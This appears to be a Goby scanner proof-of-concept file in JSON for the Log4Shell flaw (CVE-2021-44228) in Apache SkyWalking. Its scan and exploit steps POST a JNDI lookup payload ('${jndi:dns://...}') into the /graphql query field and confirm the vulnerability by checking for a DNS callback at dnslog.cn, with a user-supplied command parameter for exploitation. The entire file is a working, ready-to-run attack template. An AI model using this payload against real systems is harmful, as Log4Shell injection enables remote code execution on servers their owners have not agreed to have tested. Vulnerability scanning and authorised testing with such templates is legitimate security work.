Apache_SkyWalking_Log4shell_CVE_2021_44228.json

{
      "Name": "Apache SkyWalking Log4shell CVE-2021-44228",
      "Level": "3",
      "Tags": [
            "rce"
      ],
      "GobyQuery": "( app=\"SkyWalking\" | title=\"Skywalking\" )",
      "Description": "Apache SkyWalking 存在Log4j漏洞。",
      "Product": "Apache SkyWalking",
      "Homepage": "https://skywalking.apache.org/",
      "Author": "aetkrad",
      "Impact": "",
      "Recommendation": "",
      "References": [
            "https://gobies.org/"
      ],
      "HasExp": true,
      "ExpParams": [
            {
                  "Name": "cmd",
                  "Type": "input",
                  "Value": "${jndi:dns://dnslog.cn/tea}"
            }
      ],
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "http://www.dnslog.cn/getdomain.php",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "dnstest|lastbody||"
                  ]
            },
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/graphql",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "{\"query\":\"${jndi:dns://{{{dnstest}}}/tea}\",\"variables\":{\"duration\":{\"start\":\"2021-12-22 1259\",\"end\":\"2021-12-22 1314\",\"step\":\"MINUTE\"}}}",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": []
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            },
            {
                  "Request": {
                        "method": "GET",
                        "uri": "http://www.dnslog.cn/getrecords.php",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "{{{dnstest}}}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/graphql",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "{\"query\":\"{{{cmd}}}\",\"variables\":{\"duration\":{\"start\":\"2021-12-22 1259\",\"end\":\"2021-12-22 1314\",\"step\":\"MINUTE\"}}}",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": []
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "PostTime": "2022-01-05 13:47:56",
      "GobyVersion": "1.9.320"
}